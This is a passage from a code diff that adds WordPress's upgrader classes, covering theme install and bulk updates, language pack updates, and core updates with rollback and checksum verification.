+				'type' => 'theme',
+				'action' => 'install',
+			),
+		) );
+
+		remove_filter('upgrader_source_selection', array($this, 'check_package') );
+		remove_filter('upgrader_post_install', array($this, 'check_parent_theme_filter'));
+
+		if ( ! $this->result || is_wp_error($this->result) )
+			return $this->result;
+
+		// Refresh the Theme Update information
+		wp_clean_themes_cache( $parsed_args['clear_update_cache'] );
+
+		return true;
+	}
+
+	/**
+	 * Upgrade a theme.
+	 *
+	 * @since 2.8.0
+	 * @since 3.7.0 The `$args` parameter was added, making clearing the update cache optional.
+	 *
+	 * @param string $theme The theme slug.
+	 * @param array  $args {
+	 *     Optional. Other arguments for upgrading a theme. Default empty array.
+	 *
+	 *     @type bool $clear_update_cache Whether to clear the update cache if successful.
+	 *                                    Default true.
+	 * }
+	 * @return bool|WP_Error True if the upgrade was successful, false or a {@see WP_Error} object otherwise.
+	 */
+	public function upgrade( $theme, $args = array() ) {
+
+		$defaults = array(
+			'clear_update_cache' => true,
+		);
+		$parsed_args = wp_parse_args( $args, $defaults );
+
+		$this->init();
+		$this->upgrade_strings();
+
+		// Is an update available?
+		$current = get_site_transient( 'update_themes' );
+		if ( !isset( $current->response[ $theme ] ) ) {
+			$this->skin->before();
+			$this->skin->set_result(false);
+			$this->skin->error( 'up_to_date' );
+			$this->skin->after();
+			return false;
+		}
+
+		$r = $current->response[ $theme ];
+
+		add_filter('upgrader_pre_install', array($this, 'current_before'), 10, 2);
+		add_filter('upgrader_post_install', array($this, 'current_after'), 10, 2);
+		add_filter('upgrader_clear_destination', array($this, 'delete_old_theme'), 10, 4);
+
+		$this->run( array(
+			'package' => $r['package'],
+			'destination' => get_theme_root( $theme ),
+			'clear_destination' => true,
+			'clear_working' => true,
+			'hook_extra' => array(
+				'theme' => $theme,
+				'type' => 'theme',
+				'action' => 'update',
+			),
+		) );
+
+		remove_filter('upgrader_pre_install', array($this, 'current_before'));
+		remove_filter('upgrader_post_install', array($this, 'current_after'));
+		remove_filter('upgrader_clear_destination', array($this, 'delete_old_theme'));
+
+		if ( ! $this->result || is_wp_error($this->result) )
+			return $this->result;
+
+		wp_clean_themes_cache( $parsed_args['clear_update_cache'] );
+
+		return true;
+	}
+
+	/**
+	 * Upgrade several themes at once.
+	 *
+	 * @since 3.0.0
+	 * @since 3.7.0 The `$args` parameter was added, making clearing the update cache optional.
+	 *
+	 * @param string $themes The theme slugs.
+	 * @param array  $args {
+	 *     Optional. Other arguments for upgrading several themes at once. Default empty array.
+	 *
+	 *     @type bool $clear_update_cache Whether to clear the update cache if successful.
+	 *                                    Default true.
+	 * }
+	 * @return array[]|false An array of results, or false if unable to connect to the filesystem.
+	 */
+	public function bulk_upgrade( $themes, $args = array() ) {
+
+		$defaults = array(
+			'clear_update_cache' => true,
+		);
+		$parsed_args = wp_parse_args( $args, $defaults );
+
+		$this->init();
+		$this->bulk = true;
+		$this->upgrade_strings();
+
+		$current = get_site_transient( 'update_themes' );
+
+		add_filter('upgrader_pre_install', array($this, 'current_before'), 10, 2);
+		add_filter('upgrader_post_install', array($this, 'current_after'), 10, 2);
+		add_filter('upgrader_clear_destination', array($this, 'delete_old_theme'), 10, 4);
+
+		$this->skin->header();
+
+		// Connect to the Filesystem first.
+		$res = $this->fs_connect( array(WP_CONTENT_DIR) );
+		if ( ! $res ) {
+			$this->skin->footer();
+			return false;
+		}
+
+		$this->skin->bulk_header();
+
+		// Only start maintenance mode if:
+		// - running Multisite and there are one or more themes specified, OR
+		// - a theme with an update available is currently in use.
+		// @TODO: For multisite, maintenance mode should only kick in for individual sites if at all possible.
+		$maintenance = ( is_multisite() && ! empty( $themes ) );
+		foreach ( $themes as $theme )
+			$maintenance = $maintenance || $theme == get_stylesheet() || $theme == get_template();
+		if ( $maintenance )
+			$this->maintenance_mode(true);
+
+		$results = array();
+
+		$this->update_count = count($themes);
+		$this->update_current = 0;
+		foreach ( $themes as $theme ) {
+			$this->update_current++;
+
+			$this->skin->theme_info = $this->theme_info($theme);
+
+			if ( !isset( $current->response[ $theme ] ) ) {
+				$this->skin->set_result(true);
+				$this->skin->before();
+				$this->skin->feedback( 'up_to_date' );
+				$this->skin->after();
+				$results[$theme] = true;
+				continue;
+			}
+
+			// Get the URL to the zip file
+			$r = $current->response[ $theme ];
+
+			$result = $this->run( array(
+				'package' => $r['package'],
+				'destination' => get_theme_root( $theme ),
+				'clear_destination' => true,
+				'clear_working' => true,
+				'is_multi' => true,
+				'hook_extra' => array(
+					'theme' => $theme
+				),
+			) );
+
+			$results[$theme] = $this->result;
+
+			// Prevent credentials auth screen from displaying multiple times
+			if ( false === $result )
+				break;
+		} //end foreach $plugins
+
+		$this->maintenance_mode(false);
+
+		/** This action is documented in wp-admin/includes/class-wp-upgrader.php */
+		do_action( 'upgrader_process_complete', $this, array(
+			'action' => 'update',
+			'type' => 'theme',
+			'bulk' => true,
+			'themes' => $themes,
+		) );
+
+		$this->skin->bulk_footer();
+
+		$this->skin->footer();
+
+		// Cleanup our hooks, in case something else does a upgrade on this connection.
+		remove_filter('upgrader_pre_install', array($this, 'current_before'));
+		remove_filter('upgrader_post_install', array($this, 'current_after'));
+		remove_filter('upgrader_clear_destination', array($this, 'delete_old_theme'));
+
+		// Refresh the Theme Update information
+		wp_clean_themes_cache( $parsed_args['clear_update_cache'] );
+
+		return $results;
+	}
+
+	/**
+	 * Check that the package source contains a valid theme.
+	 *
+	 * Hooked to the {@see 'upgrader_source_selection'} filter by {@see Theme_Upgrader::install()}.
+	 * It will return an error if the theme doesn't have style.css or index.php
+	 * files.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $source The full path to the package source.
+	 * @return string|WP_Error The source or a WP_Error.
+	 */
+	public function check_package( $source ) {
+		global $wp_filesystem;
+
+		if ( is_wp_error($source) )
+			return $source;
+
+		// Check the folder contains a valid theme
+		$working_directory = str_replace( $wp_filesystem->wp_content_dir(), trailingslashit(WP_CONTENT_DIR), $source);
+		if ( ! is_dir($working_directory) ) // Sanity check, if the above fails, let's not prevent installation.
+			return $source;
+
+		// A proper archive should have a style.css file in the single subdirectory
+		if ( ! file_exists( $working_directory . 'style.css' ) )
+			return new WP_Error( 'incompatible_archive_theme_no_style', $this->strings['incompatible_archive'], __( 'The theme is missing the <code>style.css</code> stylesheet.' ) );
+
+		$info = get_file_data( $working_directory . 'style.css', array( 'Name' => 'Theme Name', 'Template' => 'Template' ) );
+
+		if ( empty( $info['Name'] ) )
+			return new WP_Error( 'incompatible_archive_theme_no_name', $this->strings['incompatible_archive'], __( "The <code>style.css</code> stylesheet doesn't contain a valid theme header." ) );
+
+		// If it's not a child theme, it must have at least an index.php to be legit.
+		if ( empty( $info['Template'] ) && ! file_exists( $working_directory . 'index.php' ) )
+			return new WP_Error( 'incompatible_archive_theme_no_index', $this->strings['incompatible_archive'], __( 'The theme is missing the <code>index.php</code> file.' ) );
+
+		return $source;
+	}
+
+	/**
+	 * Turn on maintenance mode before attempting to upgrade the current theme.
+	 *
+	 * Hooked to the {@see 'upgrader_pre_install'} filter by {@see Theme_Upgrader::upgrade()} and
+	 * {@see Theme_Upgrader::bulk_upgrade()}.
+	 *
+	 * @since 2.8.0
+	 */
+	public function current_before($return, $theme) {
+
+		if ( is_wp_error($return) )
+			return $return;
+
+		$theme = isset($theme['theme']) ? $theme['theme'] : '';
+
+		if ( $theme != get_stylesheet() ) //If not current
+			return $return;
+		//Change to maintenance mode now.
+		if ( ! $this->bulk )
+			$this->maintenance_mode(true);
+
+		return $return;
+	}
+
+	/**
+	 * Turn off maintenance mode after upgrading the current theme.
+	 *
+	 * Hooked to the {@see 'upgrader_post_install'} filter by {@see Theme_Upgrader::upgrade()}
+	 * and {@see Theme_Upgrader::bulk_upgrade()}.
+	 *
+	 * @since 2.8.0
+	 */
+	public function current_after($return, $theme) {
+		if ( is_wp_error($return) )
+			return $return;
+
+		$theme = isset($theme['theme']) ? $theme['theme'] : '';
+
+		if ( $theme != get_stylesheet() ) // If not current
+			return $return;
+
+		// Ensure stylesheet name hasn't changed after the upgrade:
+		if ( $theme == get_stylesheet() && $theme != $this->result['destination_name'] ) {
+			wp_clean_themes_cache();
+			$stylesheet = $this->result['destination_name'];
+			switch_theme( $stylesheet );
+		}
+
+		//Time to remove maintenance mode
+		if ( ! $this->bulk )
+			$this->maintenance_mode(false);
+		return $return;
+	}
+
+	/**
+	 * Delete the old theme during an upgrade.
+	 *
+	 * Hooked to the {@see 'upgrader_clear_destination'} filter by {@see Theme_Upgrader::upgrade()}
+	 * and {@see Theme_Upgrader::bulk_upgrade()}.
+	 *
+	 * @since 2.8.0
+	 */
+	public function delete_old_theme( $removed, $local_destination, $remote_destination, $theme ) {
+		global $wp_filesystem;
+
+		if ( is_wp_error( $removed ) )
+			return $removed; // Pass errors through.
+
+		if ( ! isset( $theme['theme'] ) )
+			return $removed;
+
+		$theme = $theme['theme'];
+		$themes_dir = trailingslashit( $wp_filesystem->wp_themes_dir( $theme ) );
+		if ( $wp_filesystem->exists( $themes_dir . $theme ) ) {
+			if ( ! $wp_filesystem->delete( $themes_dir . $theme, true ) )
+				return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Get the WP_Theme object for a theme.
+	 *
+	 * @since 2.8.0
+	 * @since 3.0.0 The `$theme` argument was added.
+	 *
+	 * @param string $theme The directory name of the theme. This is optional, and if not supplied,
+	 *                      the directory name from the last result will be used.
+	 * @return WP_Theme|false The theme's info object, or false `$theme` is not supplied
+	 *                        and the last result isn't set.
+	 */
+	public function theme_info($theme = null) {
+
+		if ( empty($theme) ) {
+			if ( !empty($this->result['destination_name']) )
+				$theme = $this->result['destination_name'];
+			else
+				return false;
+		}
+		return wp_get_theme( $theme );
+	}
+
+}
+
+add_action( 'upgrader_process_complete', array( 'Language_Pack_Upgrader', 'async_upgrade' ), 20 );
+
+/**
+ * Language pack upgrader, for updating translations of plugins, themes, and core.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 3.7.0
+ */
+class Language_Pack_Upgrader extends WP_Upgrader {
+
+	/**
+	 * Result of the language pack upgrade.
+	 *
+	 * @since 3.7.0
+	 * @var array|WP_Error $result
+	 * @see WP_Upgrader::$result
+	 */
+	public $result;
+
+	/**
+	 * Whether a bulk upgrade/install is being performed.
+	 *
+	 * @since 3.7.0
+	 * @var bool $bulk
+	 */
+	public $bulk = true;
+
+	/**
+	 * Asynchronously upgrade language packs after other upgrades have been made.
+	 *
+	 * Hooked to the {@see 'upgrader_process_complete'} action by default.
+	 *
+	 * @since 3.7.0
+	 */
+	public static function async_upgrade( $upgrader = false ) {
+		// Avoid recursion.
+		if ( $upgrader && $upgrader instanceof Language_Pack_Upgrader ) {
+			return;
+		}
+
+		// Nothing to do?
+		$language_updates = wp_get_translation_updates();
+		if ( ! $language_updates ) {
+			return;
+		}
+
+		// Avoid messing with VCS installs, at least for now.
+		// Noted: this is not the ideal way to accomplish this.
+		$check_vcs = new WP_Automatic_Updater;
+		if ( $check_vcs->is_vcs_checkout( WP_CONTENT_DIR ) ) {
+			return;
+		}
+
+		foreach ( $language_updates as $key => $language_update ) {
+			$update = ! empty( $language_update->autoupdate );
+
+			/**
+			 * Filter whether to asynchronously update translation for core, a plugin, or a theme.
+			 *
+			 * @since 4.0.0
+			 *
+			 * @param bool   $update          Whether to update.
+			 * @param object $language_update The update offer.
+			 */
+			$update = apply_filters( 'async_update_translation', $update, $language_update );
+
+			if ( ! $update ) {
+				unset( $language_updates[ $key ] );
+			}
+		}
+
+		if ( empty( $language_updates ) ) {
+			return;
+		}
+
+		$skin = new Language_Pack_Upgrader_Skin( array(
+			'skip_header_footer' => true,
+		) );
+
+		$lp_upgrader = new Language_Pack_Upgrader( $skin );
+		$lp_upgrader->bulk_upgrade( $language_updates );
+	}
+
+	/**
+	 * Initialize the upgrade strings.
+	 *
+	 * @since 3.7.0
+	 */
+	public function upgrade_strings() {
+		$this->strings['starting_upgrade'] = __( 'Some of your translations need updating. Sit tight for a few more seconds while we update them as well.' );
+		$this->strings['up_to_date'] = __( 'The translation is up to date.' ); // We need to silently skip this case
+		$this->strings['no_package'] = __( 'Update package not available.' );
+		$this->strings['downloading_package'] = __( 'Downloading translation from <span class="code">%s</span>&#8230;' );
+		$this->strings['unpack_package'] = __( 'Unpacking the update&#8230;' );
+		$this->strings['process_failed'] = __( 'Translation update failed.' );
+		$this->strings['process_success'] = __( 'Translation updated successfully.' );
+	}
+
+	/**
+	 * Upgrade a language pack.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param string|false $update Optional. Whether an update offer is available. Default false.
+	 * @param array        $args   Optional. Other optional arguments, see
+	 *                             {@see Language_Pack_Upgrader::bulk_upgrade()}. Default empty array.
+	 * @return array|WP_Error The result of the upgrade, or a {@see wP_Error} object instead.
+	 */
+	public function upgrade( $update = false, $args = array() ) {
+		if ( $update ) {
+			$update = array( $update );
+		}
+
+		$results = $this->bulk_upgrade( $update, $args );
+
+		if ( ! is_array( $results ) ) {
+			return $results;
+		}
+
+		return $results[0];
+	}
+
+	/**
+	 * Bulk upgrade language packs.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param array $language_updates Optional. Language pack updates. Default empty array.
+	 * @param array $args {
+	 *     Optional. Other arguments for upgrading multiple language packs. Default empty array
+	 *
+	 *     @type bool $clear_update_cache Whether to clear the update cache when done.
+	 *                                    Default true.
+	 * }
+	 * @return array|true|false|WP_Error Will return an array of results, or true if there are no updates,
+	 *                                   false or WP_Error for initial errors.
+	 */
+	public function bulk_upgrade( $language_updates = array(), $args = array() ) {
+		global $wp_filesystem;
+
+		$defaults = array(
+			'clear_update_cache' => true,
+		);
+		$parsed_args = wp_parse_args( $args, $defaults );
+
+		$this->init();
+		$this->upgrade_strings();
+
+		if ( ! $language_updates )
+			$language_updates = wp_get_translation_updates();
+
+		if ( empty( $language_updates ) ) {
+			$this->skin->header();
+			$this->skin->before();
+			$this->skin->set_result( true );
+			$this->skin->feedback( 'up_to_date' );
+			$this->skin->after();
+			$this->skin->bulk_footer();
+			$this->skin->footer();
+			return true;
+		}
+
+		if ( 'upgrader_process_complete' == current_filter() )
+			$this->skin->feedback( 'starting_upgrade' );
+
+		// Remove any existing upgrade filters from the plugin/theme upgraders #WP29425 & #WP29230
+		remove_all_filters( 'upgrader_pre_install' );
+		remove_all_filters( 'upgrader_clear_destination' );
+		remove_all_filterS( 'upgrader_post_install' );
+		remove_all_filters( 'upgrader_source_selection' );
+
+		add_filter( 'upgrader_source_selection', array( $this, 'check_package' ), 10, 2 );
+
+		$this->skin->header();
+
+		// Connect to the Filesystem first.
+		$res = $this->fs_connect( array( WP_CONTENT_DIR, WP_LANG_DIR ) );
+		if ( ! $res ) {
+			$this->skin->footer();
+			return false;
+		}
+
+		$results = array();
+
+		$this->update_count = count( $language_updates );
+		$this->update_current = 0;
+
+		/*
+		 * The filesystem's mkdir() is not recursive. Make sure WP_LANG_DIR exists,
+		 * as we then may need to create a /plugins or /themes directory inside of it.
+		 */
+		$remote_destination = $wp_filesystem->find_folder( WP_LANG_DIR );
+		if ( ! $wp_filesystem->exists( $remote_destination ) )
+			if ( ! $wp_filesystem->mkdir( $remote_destination, FS_CHMOD_DIR ) )
+				return new WP_Error( 'mkdir_failed_lang_dir', $this->strings['mkdir_failed'], $remote_destination );
+
+		foreach ( $language_updates as $language_update ) {
+
+			$this->skin->language_update = $language_update;
+
+			$destination = WP_LANG_DIR;
+			if ( 'plugin' == $language_update->type )
+				$destination .= '/plugins';
+			elseif ( 'theme' == $language_update->type )
+				$destination .= '/themes';
+
+			$this->update_current++;
+
+			$options = array(
+				'package' => $language_update->package,
+				'destination' => $destination,
+				'clear_destination' => false,
+				'abort_if_destination_exists' => false, // We expect the destination to exist.
+				'clear_working' => true,
+				'is_multi' => true,
+				'hook_extra' => array(
+					'language_update_type' => $language_update->type,
+					'language_update' => $language_update,
+				)
+			);
+
+			$result = $this->run( $options );
+
+			$results[] = $this->result;
+
+			// Prevent credentials auth screen from displaying multiple times.
+			if ( false === $result )
+				break;
+		}
+
+		$this->skin->bulk_footer();
+
+		$this->skin->footer();
+
+		// Clean up our hooks, in case something else does an upgrade on this connection.
+		remove_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );
+
+		if ( $parsed_args['clear_update_cache'] ) {
+			wp_clean_update_cache();
+		}
+
+		return $results;
+	}
+
+	/**
+	 * Check the package source to make sure there are .mo and .po files.
+	 *
+	 * Hooked to the {@see 'upgrader_source_selection'} filter by
+	 * {@see Language_Pack_Upgrader::bulk_upgrade()}.
+	 *
+	 * @since 3.7.0
+	 */
+	public function check_package( $source, $remote_source ) {
+		global $wp_filesystem;
+
+		if ( is_wp_error( $source ) )
+			return $source;
+
+		// Check that the folder contains a valid language.
+		$files = $wp_filesystem->dirlist( $remote_source );
+
+		// Check to see if a .po and .mo exist in the folder.
+		$po = $mo = false;
+		foreach ( (array) $files as $file => $filedata ) {
+			if ( '.po' == substr( $file, -3 ) )
+				$po = true;
+			elseif ( '.mo' == substr( $file, -3 ) )
+				$mo = true;
+		}
+
+		if ( ! $mo || ! $po )
+			return new WP_Error( 'incompatible_archive_pomo', $this->strings['incompatible_archive'],
+				__( 'The language pack is missing either the <code>.po</code> or <code>.mo</code> files.' ) );
+
+		return $source;
+	}
+
+	/**
+	 * Get the name of an item being updated.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param object The data for an update.
+	 * @return string The name of the item being updated.
+	 */
+	public function get_name_for_update( $update ) {
+		switch ( $update->type ) {
+			case 'core':
+				return 'WordPress'; // Not translated
+				break;
+			case 'theme':
+				$theme = wp_get_theme( $update->slug );
+				if ( $theme->exists() )
+					return $theme->Get( 'Name' );
+				break;
+			case 'plugin':
+				$plugin_data = get_plugins( '/' . $update->slug );
+				$plugin_data = array_shift( $plugin_data );
+				if ( $plugin_data )
+					return $plugin_data['Name'];
+				break;
+		}
+		return '';
+	}
+
+}
+
+/**
+ * Core Upgrader class for WordPress. It allows for WordPress to upgrade itself in combination with the wp-admin/includes/update-core.php file
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+class Core_Upgrader extends WP_Upgrader {
+
+	/**
+	 * Initialize the upgrade strings.
+	 *
+	 * @since 2.8.0
+	 */
+	public function upgrade_strings() {
+		$this->strings['up_to_date'] = __('WordPress is at the latest version.');
+		$this->strings['no_package'] = __('Update package not available.');
+		$this->strings['downloading_package'] = __('Downloading update from <span class="code">%s</span>&#8230;');
+		$this->strings['unpack_package'] = __('Unpacking the update&#8230;');
+		$this->strings['copy_failed'] = __('Could not copy files.');
+		$this->strings['copy_failed_space'] = __('Could not copy files. You may have run out of disk space.' );
+		$this->strings['start_rollback'] = __( 'Attempting to roll back to previous version.' );
+		$this->strings['rollback_was_required'] = __( 'Due to an error during updating, WordPress has rolled back to your previous version.' );
+	}
+
+	/**
+	 * Upgrade WordPress core.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param object $current Response object for whether WordPress is current.
+	 * @param array  $args {
+	 *        Optional. Arguments for upgrading WordPress core. Default empty array.
+	 *
+	 *        @type bool $pre_check_md5    Whether to check the file checksums before
+	 *                                     attempting the upgrade. Default true.
+	 *        @type bool $attempt_rollback Whether to attempt to rollback the chances if
+	 *                                     there is a problem. Default false.
+	 *        @type bool $do_rollback      Whether to perform this "upgrade" as a rollback.
+	 *                                     Default false.
+	 * }
+	 * @return null|false|WP_Error False or WP_Error on failure, null on success.
+	 */
+	public function upgrade( $current, $args = array() ) {
+		global $wp_filesystem;
+
+		include( ABSPATH . WPINC . '/version.php' ); // $wp_version;
+
+		$start_time = time();
+
+		$defaults = array(
+			'pre_check_md5'    => true,
+			'attempt_rollback' => false,
+			'do_rollback'      => false,
+			'allow_relaxed_file_ownership' => false,
+		);
+		$parsed_args = wp_parse_args( $args, $defaults );
+
+		$this->init();
+		$this->upgrade_strings();
+
+		// Is an update available?
+		if ( !isset( $current->response ) || $current->response == 'latest' )
+			return new WP_Error('up_to_date', $this->strings['up_to_date']);
+
+		$res = $this->fs_connect( array( ABSPATH, WP_CONTENT_DIR ), $parsed_args['allow_relaxed_file_ownership'] );
+		if ( ! $res || is_wp_error( $res ) ) {
+			return $res;
+		}
+
+		$wp_dir = trailingslashit($wp_filesystem->abspath());
+
+		$partial = true;
+		if ( $parsed_args['do_rollback'] )
+			$partial = false;
+		elseif ( $parsed_args['pre_check_md5'] && ! $this->check_files() )
+			$partial = false;
+
+		/*
+		 * If partial update is returned from the API, use that, unless we're doing
+		 * a reinstall. If we cross the new_bundled version number, then use
+		 * the new_bundled zip. Don't though if the constant is set to skip bundled items.
+		 * If the API returns a no_content zip, go with it. Finally, default to the full zip.
+		 */
+		if ( $parsed_args['do_rollback'] && $current->packages->rollback )
+			$to_download = 'rollback';
+		elseif ( $current->packages->partial && 'reinstall' != $current->response && $wp_version == $current->partial_version && $partial )
+			$to_download = 'partial';
+		elseif ( $current->packages->new_bundled && version_compare( $wp_version, $current->new_bundled, '<' )
+			&& ( ! defined( 'CORE_UPGRADE_SKIP_NEW_BUNDLED' ) || ! CORE_UPGRADE_SKIP_NEW_BUNDLED ) )
+			$to_download = 'new_bundled';
+		elseif ( $current->packages->no_content )
+			$to_download = 'no_content';
+		else
+			$to_download = 'full';
+
+		$download = $this->download_package( $current->packages->$to_download );
+		if ( is_wp_error($download) )
+			return $download;
+
+		$working_dir = $this->unpack_package( $download );
+		if ( is_wp_error($working_dir) )
+			return $working_dir;
+
+		// Copy update-core.php from the new version into place.
+		if ( !$wp_filesystem->copy($working_dir . '/wordpress/wp-admin/includes/update-core.php', $wp_dir . 'wp-admin/includes/update-core.php', true) ) {
+			$wp_filesystem->delete($working_dir, true);
+			return new WP_Error( 'copy_failed_for_update_core_file', __( 'The update cannot be installed because we will be unable to copy some files. This is usually due to inconsistent file permissions.' ), 'wp-admin/includes/update-core.php' );
+		}
+		$wp_filesystem->chmod($wp_dir . 'wp-admin/includes/update-core.php', FS_CHMOD_FILE);
+
+		require_once( ABSPATH . 'wp-admin/includes/update-core.php' );
+
+		if ( ! function_exists( 'update_core' ) )
+			return new WP_Error( 'copy_failed_space', $this->strings['copy_failed_space'] );
+
+		$result = update_core( $working_dir, $wp_dir );
+
+		// In the event of an issue, we may be able to roll back.
+		if ( $parsed_args['attempt_rollback'] && $current->packages->rollback && ! $parsed_args['do_rollback'] ) {
+			$try_rollback = false;
+			if ( is_wp_error( $result ) ) {
+				$error_code = $result->get_error_code();
+				/*
+				 * Not all errors are equal. These codes are critical: copy_failed__copy_dir,
+				 * mkdir_failed__copy_dir, copy_failed__copy_dir_retry, and disk_full.
+				 * do_rollback allows for update_core() to trigger a rollback if needed.
+				 */
+				if ( false !== strpos( $error_code, 'do_rollback' ) )
+					$try_rollback = true;
+				elseif ( false !== strpos( $error_code, '__copy_dir' ) )
+					$try_rollback = true;
+				elseif ( 'disk_full' === $error_code )
+					$try_rollback = true;
+			}
+
+			if ( $try_rollback ) {
+				/** This filter is documented in wp-admin/includes/update-core.php */
+				apply_filters( 'update_feedback', $result );
+
+				/** This filter is documented in wp-admin/includes/update-core.php */
+				apply_filters( 'update_feedback', $this->strings['start_rollback'] );
+
+				$rollback_result = $this->upgrade( $current, array_merge( $parsed_args, array( 'do_rollback' => true ) ) );
+
+				$original_result = $result;
+				$result = new WP_Error( 'rollback_was_required', $this->strings['rollback_was_required'], (object) array( 'update' => $original_result, 'rollback' => $rollback_result ) );
+			}
+		}
+
+		/** This action is documented in wp-admin/includes/class-wp-upgrader.php */
+		do_action( 'upgrader_process_complete', $this, array( 'action' => 'update', 'type' => 'core' ) );
+
+		// Clear the current updates
+		delete_site_transient( 'update_core' );
+
+		if ( ! $parsed_args['do_rollback'] ) {
+			$stats = array(
+				'update_type'      => $current->response,
+				'success'          => true,
+				'fs_method'        => $wp_filesystem->method,
+				'fs_method_forced' => defined( 'FS_METHOD' ) || has_filter( 'filesystem_method' ),
+				'fs_method_direct' => !empty( $GLOBALS['_wp_filesystem_direct_method'] ) ? $GLOBALS['_wp_filesystem_direct_method'] : '',
+				'time_taken'       => time() - $start_time,
+				'reported'         => $wp_version,
+				'attempted'        => $current->version,
+			);
+
+			if ( is_wp_error( $result ) ) {
+				$stats['success'] = false;
+				// Did a rollback occur?
+				if ( ! empty( $try_rollback ) ) {
+					$stats['error_code'] = $original_result->get_error_code();
+					$stats['error_data'] = $original_result->get_error_data();
+					// Was the rollback successful? If not, collect its error too.
+					$stats['rollback'] = ! is_wp_error( $rollback_result );
+					if ( is_wp_error( $rollback_result ) ) {
+						$stats['rollback_code'] = $rollback_result->get_error_code();
+						$stats['rollback_data'] = $rollback_result->get_error_data();
+					}
+				} else {
+					$stats['error_code'] = $result->get_error_code();
+					$stats['error_data'] = $result->get_error_data();
+				}
+			}
+
+			wp_version_check( $stats );
+		}
+
+		return $result;
+	}
+
+	/**
+	 * Determines if this WordPress Core version should update to an offered version or not.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @param string $offered_ver The offered version, of the format x.y.z.
+	 * @return bool True if we should update to the offered version, otherwise false.
+	 */
+	public static function should_update_to_version( $offered_ver ) {
+		include( ABSPATH . WPINC . '/version.php' ); // $wp_version; // x.y.z
+
+		$current_branch = implode( '.', array_slice( preg_split( '/[.-]/', $wp_version  ), 0, 2 ) ); // x.y
+		$new_branch     = implode( '.', array_slice( preg_split( '/[.-]/', $offered_ver ), 0, 2 ) ); // x.y
+		$current_is_development_version = (bool) strpos( $wp_version, '-' );
+
+		// Defaults:
+		$upgrade_dev   = true;
+		$upgrade_minor = true;
+		$upgrade_major = false;
+
+		// WP_AUTO_UPDATE_CORE = true (all), 'minor', false.
+		if ( defined( 'WP_AUTO_UPDATE_CORE' ) ) {
+			if ( false === WP_AUTO_UPDATE_CORE ) {
+				// Defaults to turned off, unless a filter allows it
+				$upgrade_dev = $upgrade_minor = $upgrade_major = false;
+			} elseif ( true === WP_AUTO_UPDATE_CORE ) {
+				// ALL updates for core
+				$upgrade_dev = $upgrade_minor = $upgrade_major = true;
+			} elseif ( 'minor' === WP_AUTO_UPDATE_CORE ) {
+				// Only minor updates for core
+				$upgrade_dev = $upgrade_major = false;
+				$upgrade_minor = true;
+			}
+		}
+
+		// 1: If we're already on that version, not much point in updating?
+		if ( $offered_ver == $wp_version )
+			return false;
+
+		// 2: If we're running a newer version, that's a nope
+		if ( version_compare( $wp_version, $offered_ver, '>' ) )
+			return false;
+
+		$failure_data = get_site_option( 'auto_core_update_failed' );
+		if ( $failure_data ) {
+			// If this was a critical update failure, cannot update.
+			if ( ! empty( $failure_data['critical'] ) )
+				return false;
+
+			// Don't claim we can update on update-core.php if we have a non-critical failure logged.
+			if ( $wp_version == $failure_data['current'] && false !== strpos( $offered_ver, '.1.next.minor' ) )
+				return false;
+
+			// Cannot update if we're retrying the same A to B update that caused a non-critical failure.
+			// Some non-critical failures do allow retries, like download_failed.
+			// 3.7.1 => 3.7.2 resulted in files_not_writable, if we are still on 3.7.1 and still trying to update to 3.7.2.
+			if ( empty( $failure_data['retry'] ) && $wp_version == $failure_data['current'] && $offered_ver == $failure_data['attempted'] )
+				return false;
+		}
+
+		// 3: 3.7-alpha-25000 -> 3.7-alpha-25678 -> 3.7-beta1 -> 3.7-beta2
+		if ( $current_is_development_version ) {
+
+			/**
+			 * Filter whether to enable automatic core updates for development versions.
+			 *
+			 * @since 3.7.0
+			 *
+			 * @param bool $upgrade_dev Whether to enable automatic updates for
+			 *                          development versions.
+			 */
+			if ( ! apply_filters( 'allow_dev_auto_core_updates', $upgrade_dev ) )
+				return false;
+			// Else fall through to minor + major branches below.
+		}
+
+		// 4: Minor In-branch updates (3.7.0 -> 3.7.1 -> 3.7.2 -> 3.7.4)
+		if ( $current_branch == $new_branch ) {
+
+			/**
+			 * Filter whether to enable minor automatic core updates.
+			 *
+			 * @since 3.7.0
+			 *
+			 * @param bool $upgrade_minor Whether to enable minor automatic core updates.
+			 */
+			return apply_filters( 'allow_minor_auto_core_updates', $upgrade_minor );
+		}
+
+		// 5: Major version updates (3.7.0 -> 3.8.0 -> 3.9.1)
+		if ( version_compare( $new_branch, $current_branch, '>' ) ) {
+
+			/**
+			 * Filter whether to enable major automatic core updates.
+			 *
+			 * @since 3.7.0
+			 *
+			 * @param bool $upgrade_major Whether to enable major automatic core updates.
+			 */
+			return apply_filters( 'allow_major_auto_core_updates', $upgrade_major );
+		}
+
+		// If we're not sure, we don't want it
+		return false;
+	}
+
+	/**
+	 * Compare the disk file checksums agains the expected checksums.
+	 *
+	 * @since 3.7.0
+	 *
+	 * @return bool True if the checksums match, otherwise false.
+	 */
+	public function check_files() {
+		global $wp_version, $wp_local_package;
+
+		$checksums = get_core_checksums( $wp_version, isset( $wp_local_package ) ? $wp_local_package : 'en_US' );
+
+		if ( ! is_array( $checksums ) )
+			return false;
+
+		foreach ( $checksums as $file => $checksum ) {
+			// Skip files which get updated
+			if ( 'wp-content' == substr( $file, 0, 10 ) )
+				continue;
+			if ( ! file_exists( ABSPATH . $file ) || md5_file( ABSPATH . $file ) !== $checksum )
+				return false;
+		}
+
+		return true;
+	}
+}
+
+/**
+ * Upgrade Skin helper for File uploads. This class handles the upload process and passes it as if it's a local file to the Upgrade/Installer functions.
+ *
+ * @package WordPress
+ * @subpackage Upgrader
+ * @since 2.8.0
+ */
+class File_Upload_Upgrader {
+
+	/**
+	 * The full path to the file package.
+	 *
+	 * @since 2.8.0
+	 * @var string $package
+	 */
+	public $package;
+
+	/**
+	 * The name of the file.
+	 *
+	 * @since 2.8.0
+	 * @var string $filename
+	 */
+	public $filename;
+
+	/**
+	 * The ID of the attachment post for this file.
+	 *
+	 * @since 3.3.0
+	 * @var int $id
+	 */
+	public $id = 0;
+
+	/**
